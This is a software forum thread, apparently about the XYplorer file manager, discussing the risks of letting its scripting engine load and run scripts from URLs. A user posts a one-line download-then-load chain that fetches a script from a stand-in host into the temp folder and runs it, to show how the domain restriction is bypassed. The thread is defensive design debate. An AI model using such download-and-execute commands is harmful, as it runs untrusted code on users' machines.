A script that downloads itself...

[admin]

It's time to reveal a little trick that might be unknown to most of you (maybe because I never mentioned a word about it...): The load command support URLs! IOW, you can load a script directly from the internet and execute it! And together with the new download command it gets even one notch more crazy: the script can download itself!

I prepared a little script file called remote.xys and uploaded it to my server. It looks like this:

Code: Select all

"Show this script's filename"
  self $a, "file";
  msg $a;
-
"Download this script file"
  self $a, "file";
  download $a;
-
"Cancel"

Wanna try? Do this:
::load "http://www.xyplorer.com/download/remote.xys"

[TheQwerty]

Now this could be handy, but what happens if the page given redirects somewhere else?
Does XY notify the user or just proceed?

I'm thinking this could be extremely useful to provide a means of updating scripts.

[serendipity]

Brilliant.

[admin]

Now this could be handy, but what happens if the page given redirects somewhere else?
Does XY notify the user or just proceed?

I'm thinking this could be extremely useful to provide a means of updating scripts.

I deleted your last post because it had dangerous information ready for copy+paste...

I think you are right, it has its downsides... damn it, it was such a nice idea...

[admin]

Now this could be handy, but what happens if the page given redirects somewhere else?
Does XY notify the user or just proceed?

I'm thinking this could be extremely useful to provide a means of updating scripts.

I deleted your last post because it had dangerous information ready for copy+paste...

I think you are right, it has its downsides... damn it, it was such a nice idea...

I could simply limit it to http://www.xyplorer.com. You trust me otherwise you would not use my app.

[TheQwerty]

Now this could be handy, but what happens if the page given redirects somewhere else?
Does XY notify the user or just proceed?

I'm thinking this could be extremely useful to provide a means of updating scripts.

I deleted your last post because it had dangerous information ready for copy+paste...

I think you are right, it has its downsides... damn it, it was such a nice idea...

I could simply limit it to http://www.xyplorer.com. You trust me otherwise you would not use my app.

Deleting that post is fine.. I really like the idea of this though. Just not sure it could ever be completely safe.

But I suppose that brings the question should you worry about it being completely safe, or strive for a safe enough means?

Restricting it to just your domain is okay, but allowing the user to maintain a list of trusted domains would be better.


Idea before you posted about domain restrictions:
Perhaps if you had another dat file for "secure" settings (so they can't be changed as easily as an INI file). Within this dat file you would store the registration info, a setting "Allow execution of remote scripts", and whatever else may be deemed protected. ("Allow Scripts to Modify Current XY Configuration"?).

Then we have to worry about ways that a script writer could transfer this protected file.

[admin]

Now this could be handy, but what happens if the page given redirects somewhere else?
Does XY notify the user or just proceed?

I'm thinking this could be extremely useful to provide a means of updating scripts.

I deleted your last post because it had dangerous information ready for copy+paste...

I think you are right, it has its downsides... damn it, it was such a nice idea...

I could simply limit it to http://www.xyplorer.com. You trust me otherwise you would not use my app.

Deleting that post is fine.. I really like the idea of this though. Just not sure it could ever be completely safe.

But I suppose that brings the question should you worry about it being completely safe, or strive for a safe enough means?

Restricting it to just your domain is okay, but allowing the user to maintain a list of trusted domains would be better.


Idea before you posted about domain restrictions:
Perhaps if you had another dat file for "secure" settings (so they can't be changed as easily as an INI file). Within this dat file you would store the registration info, a setting "Allow execution of remote scripts", and whatever else may be deemed protected. ("Allow Scripts to Modify Current XY Configuration"?).

Then we have to worry about ways that a script writer could transfer this protected file.

It's the old trade off between freedom and safety.

If you load and execute an unknown script written by an unknown person then you are a person that likes to be surprised. I cannot protect you from yourself. I could make the warning bigger; i could make the whole thing a tweak, or a setting combined with a special warning.

License key fishing per scripting... well, you get cracked license keys for XYplorer around every corner anyway. It's really not worth the trouble.

> another dat file for "secure" settings
I would not like to change that. Lots of work to upgrade older versions, and only shifting the problem to another level (without solving it). I could more easily simply protect those particular keys from being read. It's my scripting engine, I can do anything with it.

[TheQwerty]

It's the old trade off between freedom and safety.

If you load and execute an unknown script written by an unknown person then you are a person that likes to be surprised. I cannot protect you from yourself. I could make the warning bigger; i could make the whole thing a tweak, or a setting combined with a special warning.

License key fishing per scripting... well, you get cracked license keys for XYplorer around every corner anyway. It's really not worth the trouble.

> another dat file for "secure" settings
I would not like to change that. Lots of work to upgrade older versions, and only shifting the problem to another level (without solving it). I could more easily simply protect those particular keys from being read. It's my scripting engine, I can do anything with it.

Indeed, but that was just a quick example. There are other items that would be nearly as useful as an XY license.

As I said in the deleted post (at least I think I did), perhaps that prompt is enough. On the other hand maybe we do need a scripting permissions page in the configuration:

Please note changing any of these settings also prevents scripts from changing values in the loaded XY Configuration.

Allow Scripts to...
[] Access the Internet
[] Delete Items
[] Read the Current XY Configuration
[] Restart XY

And as the note says disallowing any of these means the script obviously cannot perform a SetKey on the current config, or it's kind of pointless (even if the change doesn't take affect until it is reloaded).

Just a tought, however I'm entirely okay with it only being a single prompt and making the users protect themselves.

[lukescammell]

Definitely needs a prompt of some sort (perhaps like Firefox Extensions when you install them?).

Also, what if your web server gets hacked?

[admin]

Definitely needs a prompt of some sort (perhaps like Firefox Extensions when you install them?).

There is a prompt!

Also, what if your web server gets hacked?

And what if your computer explodes?

[admin]

I restricted it to xyplorer.com. BTW, this is not an official feature but just a "hidden trick". So there's nothing about this in the change log. Later I might add a way for you to add trusted domains, so that you can interchange web-based scripts.

***

BTW: In one of the next versions there will be an exciting new thing called "snippets". Snippets are loadable configurations in the form of simple text files. You can drop a snippet onto XY and certain things will happen according to the snippet. E.g. your Catalog will grow a new catagory with contents, you get a couple of new PFAs, your settings are optimized for browsing network locations, etc. ... whatever you can configure manually, the snippet can do it as well.

Now, these snippets can also be web based. This means you can download a catalog item, download a complex rename UDC, download and apply a license key etc. ... pretty much the magic you know from Firefox addons.

[TheQwerty]

Actually Don, I don't think this is going to work out either.

The same problems exist with Download and Load:
::Download("http://www.example.com/offendingScript. ... Monies.xys", "o");Load("%temp%\giveMeUrMonies.xys");

Only that can be worse since you can entirely avoid prompts.

I have to say I'm really thinking adding Script Command Permissions would make the most sense.


EDIT: And I really like this idea of Snippets - can't wait to give it a try!

[admin]

Actually Don, I don't think this is going to work out either.

The same problems exist with Download and Load:
::Download("http://www.example.com/offendingScript. ... Monies.xys", "o");Load("%temp%\giveMeUrMonies.xys");

Okay, that works around the trusted domains thing. Hmm. Either I restrict the download command too (which would be ridiculuous), or I can forget about that trusted domains checking right away.

But generally about the security issue. You always start with running a local script. Either you have written it yourself, or somebody gave it to you. It should be clear that you should never run scripts whose content you don't know or understand, OR whose author you don't trust.

I have to say I'm really thinking adding Script Command Permissions would make the most sense.

But many commands can be very dangerous and very useful at the same time. I would rather say: If the user feels uncomfortable with scripts, don't use them. Quick Scripting can be turned off ever since.

[jacky]

* snippets : very exciting stuff!!

* security & co : I agree that the restriction is pretty much useless, as TheQwerty showed, and as Don said, either you wrote the script or read the "source code" first and you know what it is doing, or you don't. But in that case, you should trust the author about what the script does, because anyone could write a script that goes to %programfiles%, select all files and folders and deletes everything, no bin no confirmation. Or messes your INI file or plenty of potentially damaging things.

But if you don't trust a script, then don't run it, or enable Stepping mode to be sure of what it does...

And of course, there could be an "official repository" on xyplorer.com or over here, where scripts would have been first tested/approved and as such would be guaranteed not to be harmful (though that wouldn't obviously mean bug-free or nothing like that, just that it doesn't aim at anything else than what it says...)

[TheQwerty]

But generally about the security issue. You always start with running a local script. Either you have written it yourself, or somebody gave it to you. It should be clear that you should never run scripts whose content you don't know or understand, OR whose author you don't trust.

I have to say I'm really thinking adding Script Command Permissions would make the most sense.

But many commands can be very dangerous and very useful at the same time. I would rather say: If the user feels uncomfortable with scripts, don't use them. Quick Scripting can be turned off ever since.

Indeed, you're right in that ultimately the responsibility of running safe scripts lies with the user and no system short of completely removing scripting will be without risks.

The idea behind adjustable scripting permissions is just that it provides a compromise between the all or nothing options for the users who aren't intimate with scripting. It allows them to have a sandbox where they can become comfortable with scripting and feel a little safer.


At the same time I'm thinking maybe it would be better to put the effort toward making stepping through scripts better. As it is, I don't feel a user that doesn't know how to script would truly understand the information the dialog presents to them. It seems more like a debugger than a safety guide. Perhaps it could be improved to better explain the commands that are about to be executed and help users understand what the script is actually doing?